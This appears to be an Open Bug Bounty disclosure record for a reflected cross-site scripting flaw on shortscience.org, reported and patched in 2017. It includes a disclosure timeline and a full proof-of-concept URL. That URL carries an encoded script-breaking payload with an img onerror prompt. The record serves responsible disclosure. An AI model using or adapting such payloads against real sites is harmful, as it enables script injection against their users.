shortscience.org XSS vulnerability

2017-03-29T04:21:00
ID OBB:221821
Type openbugbounty
Reporter OmniGooch
Modified 2017-04-05T18:25:00

Description

Vulnerable URL:
http://www.shortscience.org/internalsearch?q=%22%3E%3C%2Fscript%3E%3Cimg+src%3Dx+onerror%3Dprompt(%2FXSSPOSED%2F)%3E%22%3E%3C/script%3E%3Cimg%20src=http://i.dailymail.co.uk/i/pix/2016/08/11/17/371D509C00000578-3734919-Speaking_as_she_showcases_her_incredibly_toned_body_in_a_new_bea-a-15_1470931763257.jpg%20onerror=prompt(/XSSPOSED/)%3E
Details:

Description| Value
---|---
Patched:| Yes, at
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| 1112835
VIP website status:| No
Check shortscience.org SSL connection:| (Grade: C)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability submitted via Open Bug Bounty| 29 March, 2017 04:21 GMT
Generic security notifications sent to website owner| 29 March, 2017 04:24 GMT
Notification sent to subscribers (without technical details)| 29 March, 2017 06:17 GMT
Vulnerability details disclosed by researcher| 5 April, 2017 05:13 GMT
Vulnerability patched by the website owner| 5 April, 2017 18:25 GMT